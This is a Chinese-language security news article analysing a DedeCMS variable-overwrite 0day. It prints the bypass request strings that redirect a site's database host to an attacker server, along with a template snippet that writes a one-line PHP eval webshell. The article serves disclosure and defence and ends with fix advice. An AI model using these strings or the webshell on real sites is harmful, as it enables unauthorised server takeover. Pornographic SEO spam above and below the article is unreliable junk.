成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Dede GetWebShell 0Day漏洞分析報告

安全
DedeCMS的漏洞成因主要是由于變量覆蓋導(dǎo)致而成,攻擊者通過通過提交變量,覆蓋數(shù)據(jù)庫連接配置的全局變量,從而可以使被攻擊的網(wǎng)站反向連接攻擊者指定的數(shù)據(jù)庫,讀取指定的內(nèi)容,并在被攻擊的網(wǎng)站中直接寫入WebShell。

51CTO.com綜合報道】

事件背景:

近日很多網(wǎng)站被爆遭到入侵,經(jīng)過安全寶安全實驗室研究分析,這些網(wǎng)站使用的都是DedeCMS內(nèi)容管理系統(tǒng),DedeCMS爆出一個很嚴重的漏洞,攻擊者可以直接向服務(wù)器中寫入"一句話木馬"。

DedeCMS的漏洞成因主要是由于變量覆蓋導(dǎo)致而成,攻擊者通過通過提交變量,覆蓋數(shù)據(jù)庫連接配置的全局變量,從而可以使被攻擊的網(wǎng)站反向連接攻擊者指定的數(shù)據(jù)庫,讀取指定的內(nèi)容,并在被攻擊的網(wǎng)站中直接寫入WebShell。從整個攻擊過程來看,這種攻擊利用方式也比較巧妙,避開了傳統(tǒng)的注入,破解,登錄后臺和上傳木馬的攻擊模式,攻擊者可以在未授權(quán)的前提下直接向網(wǎng)站目錄中寫入WebShell,從而控制網(wǎng)站,危害嚴重。

隨著網(wǎng)站管理員的安全意識的逐漸提高,網(wǎng)絡(luò)安全設(shè)備的引入,模塊和程序的過濾;傳統(tǒng)的入侵模式也越來越捉襟見肘,從這次攻擊中,我們發(fā)現(xiàn)傳統(tǒng)的Web攻擊思想也在發(fā)生變換,它們正慢慢由正向攻擊向反向攻擊過渡,其實在系統(tǒng)的攻擊中,反向攻擊早就存在,攻擊者為了繞過防火墻一些列的前端過濾設(shè)備,利用木馬使被攻擊機器自己發(fā)起連向攻擊者機器的請求,而防火墻通常是不會攔截機器主動發(fā)現(xiàn)的連接,從而攻擊者很容易繞過了前端一系列的過濾和障礙。

分析報告:

下面我們一起來看下Dede的漏洞原因,首先我們來看個變量覆蓋漏洞的原型基礎(chǔ):

VulTest.php:

<?php

$anquanbao="imiyoo_first";

foreach($_GET  as $key=>$value)

$$key=$value;

echo "\$anquanbao=".$anquanbao;

?>

攻擊者顯然通過$_GET提交變量覆蓋已經(jīng)定義的變量,效果如下圖:

攻擊前圖片

攻擊后圖片($anquanbao變量已經(jīng)被覆蓋)

有了這個漏洞的基礎(chǔ),現(xiàn)在我們來看看Dede的漏洞詳細信息,漏洞主要發(fā)生在文件/plus/mytag_js.php中:

我們首先讀下這段代碼的處理流程,程序在開始會獲取用戶提交的$aid變量,如果需要顯示不需要顯示緩存內(nèi)容,則會從數(shù)據(jù)庫表'#@_mytag'中讀取記錄,并將讀取的$tagbody內(nèi)容以Dede模版形式寫入緩存文件中。

在這里很顯然存在變量$aid的注入漏洞,但由于該表的內(nèi)容一般都為空,而且Dede對提交的單引號都會有過濾,基本屬于雞肋漏洞;但是如果結(jié)合變量覆蓋漏洞,攻擊者就可以利用該漏洞覆蓋數(shù)據(jù)庫配置文件的連接信息,將數(shù)據(jù)庫的連接重定向到攻擊者可以控制的一個數(shù)據(jù)庫,那么這樣攻擊者就能完全控制$tagbody的內(nèi)容,而且在DedeCMS文章管理系統(tǒng)中,模版中是可以嵌入PHP代碼,也就是說攻擊者可以執(zhí)行自己的PHP代碼,從而可以輕易地向服務(wù)器中寫入一句話木馬,達到攻擊的效果。

在對漏洞進行測試的時候,我們發(fā)現(xiàn)Dede產(chǎn)生變量覆蓋漏洞的代碼在/include/common.inc.php中,如下:

通過這段代碼我們可以對程序中的任何變量進行覆蓋,為了覆蓋數(shù)據(jù)庫配置文件中的變量,其實我們覆蓋$cfg_dbhost或$GLOBALS[cfg_dbhost]都可以,因此我們可以提交形如下面的測試代碼:

   Ø mytag_js.php?_GET[cfg_dbhost]=www.anquanbao.com

   Ø mytag_js.php?_GET[GLOBALS][cfg_dbhost]= www.anquanbao.com

不過DedeCMS對這種形式的攻擊也是有防范,但只是對提交的變量中的鍵值進行了判斷,代碼如下:

但是這個變量$_k只是對一維數(shù)據(jù)的鍵值進行判斷,而Dede對變量的提取卻是支持多維的,如果攻擊者提交的是多維的變量就可以很容易繞過,為了繞過正則的檢測,同時達到覆蓋變量的效果;因此我們可以很容易想到$_COOKIE變量,更重要的是Dede也支持$_COOKIE提交變量,因此我們就可以得到如下的有效攻擊代碼: 

Ø mytag_js.php?_GET[_COOKIE][GLOBALS][cfg_dbhost]=www.anquanbao.com

利用上面的代碼就可以繞過DedeCMS的正則檢測,同時可以覆蓋$GLOBALS[cfg_dbhost]變量。

分析總結(jié):

通過對上面的分析,那么現(xiàn)在我們就能很清楚整個攻擊流程:

1 攻擊者會預(yù)先準備一個MySQL數(shù)據(jù)庫,數(shù)據(jù)庫中包含有一個表明為'#@_mytag'的數(shù)據(jù)表,其中'#@'是待攻擊數(shù)據(jù)庫的表前綴,并在表中插入一條記錄來控制$tagbody的內(nèi)容,使其能夠?qū)懭胍痪湓捘抉R,而且Dede利用模版寫入一句話木馬的代碼如下:

{dede:php}

$fp = @fopen("test.php", \'a\');

@fwrite($fp, \'<?php eval($_POST[test]) ?>\');

echo "OK";

@fclose($fp);

{/dede:php}

2 提交變量覆蓋語句讀取表中指定的內(nèi)容,即可在當(dāng)前路徑下寫入一句話木馬。

鑒于很多使用DedeCMS的網(wǎng)站還沒有修補該漏洞,因此在這里就不公布危害性攻擊代碼。

安全建議:

許多程序員在對$_GET,$_POST或$_COOKIE獲取的變量處理中,進行了對多維數(shù)組變量的遞歸解析,但是卻在過濾的時候并沒有對每一維的鍵值進行判斷和檢測;例如,在本次爆出的Dede的0day,程序員就只考慮到檢測二維數(shù)組的鍵值,但是攻擊者卻可以通過提交三維數(shù)組生成COOKIE變量輕易繞過。因此程序員如果在保證程序能夠?qū)Χ嗑S變量進行解析的時候,同時也是需要對每一維的鍵值進行有效檢測和判斷。

 

責(zé)任編輯:守望幸福 來源: 51CTO.com
相關(guān)推薦

2015-05-20 16:34:14

2009-07-06 13:15:07

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2021-10-06 13:48:50

0day漏洞攻擊

2022-03-30 09:09:39

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2013-05-24 14:02:42

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2015-07-08 13:52:18

2010-01-20 16:13:15

2020-12-17 10:28:27

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2021-07-14 17:17:45

0day漏洞惡意代碼

2009-09-09 08:54:50

2011-02-28 09:34:55

2011-03-15 15:14:22

2010-09-01 15:18:04

2015-08-31 10:09:34

2014-10-15 17:29:33

2009-11-29 16:53:17

2012-06-19 15:16:05

2021-04-26 10:09:11

0Day漏洞Google Chro
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 国产精品亚洲综合 | 久久99网| 亚洲小说图片 | 在线观看中文字幕 | 少妇淫片aaaaa毛片叫床爽 | 在线中文字幕第一页 | 久久久久久九九九九九九 | 国产精品久久久久婷婷二区次 | 成人在线免费视频 | 精产国产伦理一二三区 | 一区二区三区精品视频 | 视频一区在线观看 | 91视视频在线观看入口直接观看 | 精品一区二区三区在线观看国产 | 成人在线播放网站 | 成人久久18免费网站麻豆 | 成人在线电影在线观看 | 欧美极品在线播放 | 欧美视频第二页 | 丝袜 亚洲 欧美 日韩 综合 | 91精品久久久久久久 | 久久国产精品一区 | 蜜臀久久| 久久久天堂 | 国产在线一区观看 | 九九热精品视频 | 一级毛片网 | 久久久婷婷 | 色婷婷久久久亚洲一区二区三区 | 99视频网| 波多野结衣av中文字幕 | 亚洲欧美一区二区三区情侣bbw | 日韩久久在线 | 欧美一区二区三区 | 成人在线免费网站 | 黄色在线免费观看 | 久久亚洲欧美日韩精品专区 | 亚洲精品一区二区在线观看 | 日韩一区二区在线播放 | 国产综合在线视频 | 国产一级片av |